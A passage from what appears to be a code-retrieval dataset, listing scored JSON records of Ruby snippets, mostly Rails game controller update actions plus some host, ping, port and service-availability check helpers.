Bestgame.find(params[:id])\n\n respond_to do |format|\n if @bestgame.update_attributes(params[:bestgame])\n format.html { redirect_to @bestgame, notice: 'Bestgame was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bestgame.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9c2ba26630504f8f80894267f19332b", "score": "0.6581882", "text": "def update\n @game = Game.find(params[:id])\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to(@game, :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8929e7f58b7107f64819d3819d023151", "score": "0.65771645", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to(@game, :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2bc309b9c0aefdb7519d7b6fb9a09d1", "score": "0.6564636", "text": "def update\n\n @game.turn = params[:game][:turn]\n @game.finished = params[:game][:finished]\n @game.winner = params[:game][:winner]\n @game.overall_score = ActiveSupport::JSON.decode(params[:game][:overall_score])\n @game.game_state = ActiveSupport::JSON.decode(params[:game][:game_state])\n\n respond_to do |format|\n if @game.save\n format.json { head :no_content }\n else\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a46431e71face799c8052e6de71366d", "score": "0.65309423", "text": "def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a46431e71face799c8052e6de71366d", "score": "0.65309423", "text": "def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2646d77f4ad2cc1f349f91a17c9fc956", "score": "0.65271467", "text": "def update\n id = User.find_by_fb_id(params[:id]).id\n @user_game = UserGame.find_by_user_id(id)\n\n respond_to do |format|\n if @user_game.update_attributes(params[:user_game])\n format.json { head :no_content }\n else\n format.json { render json: @user_game.errors }\n end\n end\n end", "title": "" }, { "docid": "9157302fb66243fc990f26bf6e766ea0", "score": "0.6515273", "text": "def update\n @game = Game.find(params[:id])\n\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Find teams and update their names\n home_team = Team.find(@game.home_team_id)\n home_team.name = params[:home_team_name]\n away_team = Team.find(@game.away_team_id)\n away_team.name = params[:away_team_name]\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa840825f55f29c748a65e2fa2890300", "score": "0.6515011", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n flash[:notice] = 'Jogo editado com sucesso.'\n format.html { redirect_to theme_games_url(@theme) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "c1be7532c7108dd901aaf83638cb37d4", "score": "0.6510993", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to root_path, notice: 'Los datos de tu juego se han actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f8ef4e9e3cb489c8150f3059bc91ba7", "score": "0.65004426", "text": "def update\n respond_to do |format|\n if @game_info.update(game_info_params)\n format.html { redirect_to @game_info, notice: 'Game info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ee6a6e2531f86e4adfc4e256d2e8d7f", "score": "0.6487727", "text": "def update\n authorize @game\n \n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3695f32bbcb7d6c380c21b850d852ffc", "score": "0.64699507", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n flash[:notice] = 'Game was successfully updated.'\n format.html { redirect_to(@game) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "538d3d26d274f072002278380b3f9868", "score": "0.64496017", "text": "def update\n respond_to do |format|\n if @games_team.update(games_team_params)\n format.html { redirect_to @games_team, notice: 'Games team was successfully updated.' }\n format.json { render :show, status: :ok, location: @games_team }\n else\n format.html { render :edit }\n format.json { render json: @games_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0afa8d1d746688b8072714731db5a0c1", "score": "0.6447176", "text": "def update\n respond_to do |format|\n if @league_game.update(league_game_params)\n format.html { redirect_to @league_game, notice: 'League game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @league_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa6394140baff9dd29018b321007a57f", "score": "0.64448243", "text": "def update\n respond_to do |format|\n if @game.update_attributes(game_params)\n format.html { redirect_to(@game, :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "759a4778ca39a290e225c08f921c8069", "score": "0.6439394", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_path, notice: 'La partie a bien été éditée' }\n format.json { render :show, status: :ok, location: games_path }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9490ab3d073b4d6d6c752461766cb47c", "score": "0.6436876", "text": "def update\n respond_to do |format|\n if @game.update_attributes(params[:game])\n flash[:notice] = 'Game was successfully updated.'\n format.html { redirect_to(@game) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "576ce284c94068db5c86ffd81a99c7eb", "score": "0.64362943", "text": "def update\n respond_to do |format|\n if @game_set.update(game_set_params)\n format.html { redirect_to @game_set, notice: 'Game set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_set.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d6a61f3186174209e44862cb0ae05d7", "score": "0.6391436", "text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "title": "" }, { "docid": "0d57b0de85a2780711e7a360cba91c46", "score": "0.63897383", "text": "def update\n respond_to do |format|\n byebug\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71ca4ee1b285a0a3bec2179501c27bc2", "score": "0.6355262", "text": "def update\n respond_to do |format|\n @game.update(game_old_params)\n listing_games\n format.js\n end\n end", "title": "" }, { "docid": "bbd8d3614ede509849cef9487c0f0585", "score": "0.635193", "text": "def update\n respond_to do |format|\n if @admin_game.update(admin_game_params)\n format.html { redirect_to @admin_game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_game }\n else\n format.html { render :edit }\n format.json { render json: @admin_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf51f969d30edcf9d7594d7791686013", "score": "0.63463026", "text": "def update\n @games_leaderboard = Games::Leaderboard.find(params[:id])\n\n if @games_leaderboard.update(games_leaderboard_params)\n head :no_content\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ca76f0122b93ef2c1b9690c39e194035", "score": "0.6340841", "text": "def update\n #@game = Game.find(params[:id])\n\n respond_to do |format|\n #if @game.update_attributes(params[:game])\n if @game.update_attributes(game_params)\n format.html { redirect_to(season_game_path(@game.season_id, @game), :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cab84d6381d4d65bc7b776898b8e808f", "score": "0.6326285", "text": "def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_game }\n else\n format.html { render :edit }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3421a052db7595ac619547417e13e9c9", "score": "0.63183266", "text": "def update\n @game_server = Game::Server.find(params[:id])\n\n respond_to do |format|\n if @game_server.update_attributes(params[:game_server])\n format.html { redirect_to @game_server, notice: 'Server was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_server.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7663d0348b74542ff1d2f4fd96156fe", "score": "0.63009286", "text": "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "title": "" }, { "docid": "08824ac76963db768310d98607bde224", "score": "0.62855506", "text": "def update\n @game = Game.find(params[:id])\n if @game.update_attributes(game_params)\n flash[:notice] = \"Game successfully updated\"\n redirect_to games_url\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "c175a195517dbf579a3629a17ab0e5be", "score": "0.62853676", "text": "def update\n respond_to do |format|\n if @games_pick.update(games_pick_params)\n format.html { redirect_to @games_pick, notice: 'Games pick was successfully updated.' }\n format.json { render :show, status: :ok, location: @games_pick }\n else\n format.html { render :edit }\n format.json { render json: @games_pick.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "243497cd53c80ffbf03e9bf727b210e9", "score": "0.62818086", "text": "def update\n @game_game_instance = Game::GameInstance.find(params[:id])\n\n respond_to do |format|\n if @game_game_instance.update_attributes(params[:game_game_instance])\n format.html { redirect_to @game_game_instance, notice: 'Game instance was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_game_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5268e05ac92386658170ca8111932757", "score": "0.6272934", "text": "def update\n @video_game = VideoGame.find(params[:id])\n\n respond_to do |format|\n if @video_game.update_attributes(params[:video_game])\n format.html { redirect_to @video_game, notice: 'Video game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "baf6089a72acac4cb67e0f3f5079c2c5", "score": "0.6265038", "text": "def update\n @game = Game.find(params[:id])\n \n if @game.update(game_params)\n redirect_to @game\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "512dc64058c39a90d8b46102f49f9142", "score": "0.62598664", "text": "def update\n @games_player = GamesPlayer.find(params[:id])\n\n respond_to do |format|\n if @games_player.update_attributes(params[:games_player])\n format.html { redirect_to(@games_player, :notice => 'Games player was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @games_player.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e0e59715d19dce2a47fccc2c67326dd", "score": "0.625152", "text": "def patch!\n request! :patch\n end", "title": "" }, { "docid": "d1706a752013227ec103bd8d57e7953f", "score": "0.62468493", "text": "def update\n begin\n ActiveRecord::Base.transaction do\n closing_game_request? ? close_game : update_game\n respond_to do |format|\n format.html { redirect_to [@organization, @game], notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n end\n end\n rescue => e\n logger.error(e)\n respond_to do |fomat|\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dfeb3927012a07116f4fccf3307f9d51", "score": "0.62450284", "text": "def update\n @game_player = GamePlayer.find(params[:id])\n\n respond_to do |format|\n if @game_player.update_attributes(params[:game_player])\n format.html { redirect_to @game_player, notice: 'Game player was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_player.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e259f6f68c8f68cb39bd349a674b094a", "score": "0.62428325", "text": "def update\n @game_instance = GameInstance.find(params[:id])\n\n respond_to do |format|\n if @game_instance.update_attributes(params[:game_instance])\n format.html { redirect_to @game_instance, notice: 'Game instance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "210c76e3b106d65c28d86ee68075d8ee", "score": "0.6231258", "text": "def update\n if @game.update_attributes(params[:game])\n redirect_to creators_games_path, notice: 'Игра успешно изменена.'\n else\n render action: 'edit'\n end\n end", "title": "" }, { "docid": "80a7eb6e067693b29b465d4731a6a482", "score": "0.62213564", "text": "def update\n @game.battling_armies.each do |army|\n army.is_loser = true if army.is_winner == false\n army.save\n end\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
463b74c641d85a0b9972cd6fe99ae09f
Verify a host has no services
[ { "docid": "d18f9c86e99fd3c659b8d97f2e0bf4b7", "score": "0.77591914", "text": "def test_has_no_services\n hostname = \"lol-no-001.notreal.com\"\n assert_equal(false, cmk.has_services(hostname))\n end", "title": "" } ]
[ { "docid": "6b824de64ce95208d110ba87a85b6410", "score": "0.6711519", "text": "def has_required_host?\n true\n end", "title": "" }, { "docid": "73b6f5cc61510ccddacd91327e91da11", "score": "0.6545138", "text": "def check_host_existence\n if (Host.all.count == 0)\n flash[:error] = t(\"services.error.hosts_not_exist\")\n redirect_to :back\n end\n \n return\n end", "title": "" }, { "docid": "392154cb6fa616964aba24aebee7b104", "score": "0.65182275", "text": "def invalid_host?(host)\n !host.class.to_s.eql?(\"String\") || host.empty?\n end", "title": "" }, { "docid": "cf5c04bd28a40581053213257533e66c", "score": "0.6503033", "text": "def ensure_only_default_host_exists()\n host = getTableValue(\"table://hosts/defaultHost/name\")\n json = CC.CLI.get_json(\"%{serviced} host list -v\")\n if (json.length != 1 || findArrayMatch(json, \"Name\", host) == nil)\n remove_all_hosts()\n add_default_host()\n end\n end", "title": "" }, { "docid": "f94bb0f7e6da9f7f25451cd3d42f15f7", "score": "0.64308643", "text": "def test_has_services\n hostname = `hostname`.chomp\n assert_equal(true, cmk.has_services(hostname))\n end", "title": "" }, { "docid": "b60fd8a176a9e9af131693019cd9ef03", "score": "0.6404467", "text": "def hosted_service?\n return false unless registration_name\n find_provider\n return false unless config[:host_match]\n !matches?(config[:host_match])\n end", "title": "" }, { "docid": "94276de15fb5d95903f702c98a53d5ba", "score": "0.63154465", "text": "def disabled?\n host.nil?\n end", "title": "" }, { "docid": "cf7fb66def74bc51338efba38ec6955c", "score": "0.6307841", "text": "def verify_host\n @j_del.isVerifyHost\n end", "title": "" }, { "docid": "3737a6f561086d217f078fc341a59f06", "score": "0.6236868", "text": "def hcp_services?\n !hcp_proc_codes.empty?\n end", "title": "" }, { "docid": "7d7112d1fb2fa943e09f6a0f128fda29", "score": "0.6222888", "text": "def test_missing_service_group_ignored\n # Not raise\n service_list = @service_store.determine_services %w{non_existing_group}\n end", "title": "" }, { "docid": "acd354caccd002c249dac7c9b606848c", "score": "0.62209165", "text": "def check_process_not_running(name)\n procs = get_procs_by_name(name)\n procs.should be_empty\n end", "title": "" }, { "docid": "5a24a763557f81603efbd9a03159adce", "score": "0.6211905", "text": "def ifHostUp(host)\n Net::Ping::TCP.econnrefused = true\n Net::Ping::TCP.new(host).ping?\n end", "title": "" }, { "docid": "31ee6709e84b8c12c359152307f4d723", "score": "0.61924607", "text": "def host_is_okay\n return false unless @report_data[:host]\n return false unless valid_ip(@report_data[:host])\n return false unless @report_data[:state] == Msf::HostState::Alive\n if @args[:blacklist]\n return false if @args[:blacklist].include?(@report_data[:host])\n end\n return true\n end", "title": "" }, { "docid": "fe5b5187c361cb98c2a4c03cf3b5c68e", "score": "0.6178632", "text": "def host_exists?(host)\n # :nocov:\n # Patch for BZ840938 to support Ruby 1.8 on machines without /etc/resolv.conf\n dns = Resolv::DNS.new((Resolv::DNS::Config.default_config_hash || {}))\n dns.getresources(host, Resolv::DNS::Resource::IN::A).any?\n # :nocov:\n end", "title": "" }, { "docid": "54b90e0101fc181bb1fbc4275982046c", "score": "0.6167552", "text": "def supports_incomplete_services?\n Puppet::Util::Package.versioncmp(Puppet.runtime[:facter].value(:operatingsystemrelease), '11.1') >= 0\n end", "title": "" }, { "docid": "dd4bc40051d32eb430293f915aa7ed61", "score": "0.6161525", "text": "def check_xinetd_service(service)\n ret = false\n srv = Facter::Core::Execution.exec(\"chkconfig --list 2>/dev/null | grep #{service}\")\n if srv.empty?\n ret = false\n else\n srvs = srv.split(\"\\n\")\n srvs.each do |line|\n data = line.split(%r{:})\n if data[1].casecmp('off') != 0\n ret = true\n end\n end\n end\n\n ret\nend", "title": "" }, { "docid": "815b049ce42189c796a03d8b77d4594a", "score": "0.6135336", "text": "def service_none?()\n return true if (@service == TAC_PLUS_AUTHEN_SVC_NONE)\n return false\n end", "title": "" }, { "docid": "6eee25b6053985a6e55ababbc44301f2", "score": "0.6046517", "text": "def check_host\n # rubocop:disable Style/GuardClause\n if config[:host] == '0.0.0.0'\n logger.warn 'Will listen on all interfaces (0.0.0.0).' \\\n ' Consider using 127.0.0.1 (--host option).'\n end\n # rubocop:enable Style/GuardClause\n end", "title": "" }, { "docid": "6eee25b6053985a6e55ababbc44301f2", "score": "0.6046517", "text": "def check_host\n # rubocop:disable Style/GuardClause\n if config[:host] == '0.0.0.0'\n logger.warn 'Will listen on all interfaces (0.0.0.0).' \\\n ' Consider using 127.0.0.1 (--host option).'\n end\n # rubocop:enable Style/GuardClause\n end", "title": "" }, { "docid": "a9a56d281172e710fa28a6abc91ddaa2", "score": "0.60020566", "text": "def no_sites?\n self.proxy_performances.active.empty?\n end", "title": "" }, { "docid": "9c6b43d27287fd4e01d5947db9e5e4a8", "score": "0.5988624", "text": "def no_services?\n # taxes is a array which contains services if allocated by back-office\n taxes.empty?\n end", "title": "" }, { "docid": "3a7a1293f6eb45a35d23440ce5557d9b", "score": "0.5962543", "text": "def has_services\n if self.services != []\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "84fc07e2c728aa6793eaeb845871a58b", "score": "0.59608686", "text": "def host_status\n if self.host.listings.count <= 1\n self.host.update(:host => false)\n end\n end", "title": "" }, { "docid": "f2556e2a27324de86d9ec71d8e9ee772", "score": "0.59551436", "text": "def check_host\n result = `ping -q -c 2 #{@conn[:host]}`\n # return true or false if exit status is 0\n $?.exitstatus == 0\n end", "title": "" }, { "docid": "383dc1f404a785243a8c41610ff5b90c", "score": "0.59497374", "text": "def bad_service?\n\t\tService.find_by(name: self.service_name).traffic != \"GOOD SERVICE\"\n\tend", "title": "" }, { "docid": "383dc1f404a785243a8c41610ff5b90c", "score": "0.59497374", "text": "def bad_service?\n\t\tService.find_by(name: self.service_name).traffic != \"GOOD SERVICE\"\n\tend", "title": "" }, { "docid": "dc379b660738e3a9254e79701217dd10", "score": "0.59489554", "text": "def account_has_no_service?\n account = Account.find(current_user)\n account.no_services?\n end", "title": "" }, { "docid": "321c24606b7324a1f497274ffdea8969", "score": "0.59347457", "text": "def ensure_service!\n fail \"Must have active connection\" unless service\n end", "title": "" }, { "docid": "321c24606b7324a1f497274ffdea8969", "score": "0.59347457", "text": "def ensure_service!\n fail \"Must have active connection\" unless service\n end", "title": "" }, { "docid": "0ecbf7353803cb2cc2c5ab9a66f37fe2", "score": "0.58673936", "text": "def check_host(v)\n return v unless v\n\n if @opaque\n raise InvalidURIError,\n \"can not set host with registry or opaque\"\n elsif parser.regexp[:HOST] !~ v\n raise InvalidComponentError,\n \"bad component(expected host component): #{v}\"\n end\n\n return true\n end", "title": "" }, { "docid": "6e34f57aabed9d475f2364a8f1f943f1", "score": "0.58260804", "text": "def host_exists?(host)\n `#{cmk} --list-hosts`.split(/\\n/).include?(host)\n end", "title": "" }, { "docid": "b4b946df1e80ab79b118e2e58e169ac4", "score": "0.5825537", "text": "def ensure_service!\n raise \"Must have active connection\" unless zone&.service\n end", "title": "" }, { "docid": "57c98612eded360ee87e2dbca8e16d73", "score": "0.58242846", "text": "def checkIfDeploopHost(host)\n mc = rpcclient \"rpcutil\"\n\n # https://github.com/deploop/deploop/issues/5\n\n h = Socket.gethostbyname(host)\n mc.identity_filter \"#{h[1][0]}\"\n mc.progress = false\n\n result = mc.inventory\n mc.disconnect \n\n result[0][:data][:agents].include? 'deploop'\n end", "title": "" }, { "docid": "f1dc4b6010ad70f53c06f89a9793d39d", "score": "0.5816176", "text": "def check_hostnames\n all_good = true\n \n @check_groups.each do |group|\n group.checks.each do |check|\n unless check.hostname && Dnsruby::Resolv.getaddress(check.hostname)\n puts \"Error: check #{check.name} has invalid hostname '#{check.hostname}'\"\n all_good = false\n end\n end\n end\n \n all_good\n end", "title": "" }, { "docid": "3f155aea5dd0c7b80386db97f329c4be", "score": "0.57592154", "text": "def host_allowed?(arg)\n true\n end", "title": "" }, { "docid": "ec5854f5551e6c1ce7b9b6ba308a7ba2", "score": "0.57411253", "text": "def noop?\n # If we're not a host_config, we're almost certainly part of\n # Settings, and we want to ignore 'noop'\n return false if catalog and ! catalog.host_config?\n\n if defined?(@noop)\n @noop\n else\n Puppet[:noop]\n end\n end", "title": "" }, { "docid": "8927357391a176b18c40398bf47cd804", "score": "0.5732763", "text": "def sshd_host_keys_missing?\n !node['openssh']['server']['host_key'].all? { |f| ::File.exist?(f) }\n end", "title": "" }, { "docid": "4a6c2099ab74fdaa0169efc5220f6f8a", "score": "0.57195663", "text": "def server_in_pool?( host, port )\n server_list = servers\n !server_list.select{ |s| s[:addr] == host and s[:port] == port.to_i}.empty?\n end", "title": "" }, { "docid": "b9ea7b2a4361643bd00f2767d96e5644", "score": "0.5719296", "text": "def exist?(service)\n !service_list[service].nil?\n end", "title": "" }, { "docid": "692286caf06f3b61643d3fe67ec0a161", "score": "0.5715344", "text": "def service_unavailable\n\n end", "title": "" }, { "docid": "3519e657e34c75aabf814a5bfe48f92e", "score": "0.57047355", "text": "def has_host?(wspace,addr)\n\t\twspace.hosts.find_by_address(addr)\n\tend", "title": "" }, { "docid": "bdd251323ef0d31e27aeb6cf9ae035a0", "score": "0.56964564", "text": "def host_in_use?(hostname)\n @hosts[hostname][:used]\n end", "title": "" }, { "docid": "7183c94a95d9bfe772940a1d5b4d52ba", "score": "0.56879485", "text": "def wait_until_unhealthy!\n agent = consul.get(\"/agent/self\")[\"Member\"][\"Name\"]\n consul.get_while(\"/health/node/#{agent}\") do |data|\n status = data.detect {|x| x[\"CheckID\"] == \"service:#{name}\" }[\"Status\"]\n status == 'passing'\n end\n end", "title": "" }, { "docid": "63d29ddabc9e563d8d09cef3acac2abe", "score": "0.56802154", "text": "def enabled?\n !host.nil?\n end", "title": "" }, { "docid": "95354961e01a9ba5a727197b1390b141", "score": "0.5676015", "text": "def valid?\n ping\n end", "title": "" }, { "docid": "f1a7ffcb30e73d54f6ff96cb593aa1a5", "score": "0.56583315", "text": "def remove_hosts?(description)\n !description.config.empty? &&\n (description.primary? ||\n description.me_mismatch? ||\n description.hosts.empty? ||\n !member_of_this_set?(description))\n end", "title": "" }, { "docid": "322dd85bd5251c258dd73fc9c888a9e2", "score": "0.56251305", "text": "def host_avail?(hostname)\n host_available = false\n puts \"Pinging host #{hostname}...\"\n exit_status = system(\"ping -q -c 1 #{hostname} >/dev/null 2>&1\")\n if exit_status\n puts \" --> Host #{hostname} is available.\"\n host_available = true\n else\n puts \" --> Host #{hostname} is unavailable!\"\n end\n host_available\n end", "title": "" }, { "docid": "4fe9049478efe89ef45849ffccb3e085", "score": "0.56176984", "text": "def ensure_service!\n raise \"Must have active connection\" unless @service\n end", "title": "" }, { "docid": "4fe9049478efe89ef45849ffccb3e085", "score": "0.56176984", "text": "def ensure_service!\n raise \"Must have active connection\" unless @service\n end", "title": "" }, { "docid": "4fe9049478efe89ef45849ffccb3e085", "score": "0.56176984", "text": "def ensure_service!\n raise \"Must have active connection\" unless @service\n end", "title": "" }, { "docid": "4fe9049478efe89ef45849ffccb3e085", "score": "0.56176984", "text": "def ensure_service!\n raise \"Must have active connection\" unless @service\n end", "title": "" }, { "docid": "19689aff45112f7d3694b90e2bde9d86", "score": "0.5611218", "text": "def known_service? url\n !!service_endpoint(url)\n end", "title": "" }, { "docid": "58f52770fdad03ee12e53d4103363d20", "score": "0.5607014", "text": "def dns?\n !dns.nil? && !dns.empty?\n end", "title": "" }, { "docid": "93eca224ddaa2bcacac95de3caeaa7a1", "score": "0.5601066", "text": "def has_host?(addr)\n\t\tHost.find(:first, :conditions => [ \"address = ?\", addr])\n\tend", "title": "" }, { "docid": "a81265e47a574d69fa076ebbbc90860f", "score": "0.55969787", "text": "def ensure_service!\n raise \"Must have active connection\" unless service\n end", "title": "" }, { "docid": "a81265e47a574d69fa076ebbbc90860f", "score": "0.55969787", "text": "def ensure_service!\n raise \"Must have active connection\" unless service\n end", "title": "" }, { "docid": "a81265e47a574d69fa076ebbbc90860f", "score": "0.55969745", "text": "def ensure_service!\n raise \"Must have active connection\" unless service\n end", "title": "" }, { "docid": "bd684b30370a5dc838c8567f69b2b7e1", "score": "0.55956155", "text": "def valid_host?\n return false if invalid_uri_error?\n \n # check for wildcard definition e.g. *.github.com\n wildcard_hosts = Array.new\n @valid_hosts.each do |valid_host|\n result = valid_host.scan(/^\\*\\.(.*\\..*)$/)\n wildcard_hosts << result[0] unless result.empty?\n end\n return wildcard_hosts.include?(@host.scan(/^(?:.*\\.)?(.*\\..*)$/)[0]) unless wildcard_hosts.empty?\n \n # basic check\n return @valid_hosts.include?(@host) || @valid_hosts.empty? \n end", "title": "" }, { "docid": "6f93e974cab45260524586487335a74c", "score": "0.5592396", "text": "def needs_host_list?\n vima? || okeanos?\n end", "title": "" }, { "docid": "4a2aeaa56a08dd4a86331b55c915c7cf", "score": "0.5588673", "text": "def internal_host?(host)\n Resolv.getaddresses(host).all? { |ip| internal_ip?(ip) }\n rescue URI::Error\n false\n end", "title": "" }, { "docid": "7ebb11e89e5f1d69de44c8af28f93a60", "score": "0.55849904", "text": "def empty?\n @listener_proxies.empty?\n end", "title": "" }, { "docid": "69b101d9e2ce31f06764b223dff1b3a6", "score": "0.55818313", "text": "def visit_host?(host)\n @host_rules.accept?(host)\n end", "title": "" }, { "docid": "215f23ac0b8b047173b46a754f46d205", "score": "0.55784535", "text": "def test_port(port)\n !EventMachine::Synchrony::TCPSocket.new('127.0.0.1', port).nil?\nrescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n false\nend", "title": "" }, { "docid": "0605c3c428aaf6a3ab130fee34547737", "score": "0.5569071", "text": "def up?(host)\n check = Net::Ping::External.new(host)\n check.ping?\nend", "title": "" }, { "docid": "6bde3e6314fcd438626ecea9d7f85ef9", "score": "0.5565311", "text": "def check_missing_instances(instances)\n missing_instances = instances.reject { |i| all_clusters.include?(i) }\n unknown(\"Passed instance(s): #{missing_instances.join(',')} not found\") unless missing_instances.empty?\n end", "title": "" }, { "docid": "2a5329c251b76c63f6fe18f37732b7d4", "score": "0.555883", "text": "def check_server\n raise Exception.new(\"Could not reach Apocalypse server please check the address and port and try again.\") unless server_reachable?\n end", "title": "" }, { "docid": "7768846531e719495cd1843fc6e51acb", "score": "0.55542487", "text": "def check_availability_by_http_request(host, port)\n uri = URI(\"http://#{host}:#{port}/info\")\n request = Net::HTTP::Get.new(uri)\n request[Datadog::Transport::Ext::HTTP::HEADER_DD_INTERNAL_UNTRACED_REQUEST] = '1'\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n response.is_a?(Net::HTTPSuccess)\n rescue SocketError\n false\n end", "title": "" }, { "docid": "62ae66e3396499bcf7f987e753777396", "score": "0.55338633", "text": "def portainer?(ip, segundos=1) \n Timeout::timeout(segundos) do \n begin\n TCPSocket.new(ip, \"#{$port}\").close # Check Portainer port.\n true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, SocketError\n false # If Exception, do not count this host.\n end\n end\n rescue Timeout::Error # If Timeout, do not count this host.\n false\nend", "title": "" }, { "docid": "8dd4c74186e6a62ebab17482127bcdea", "score": 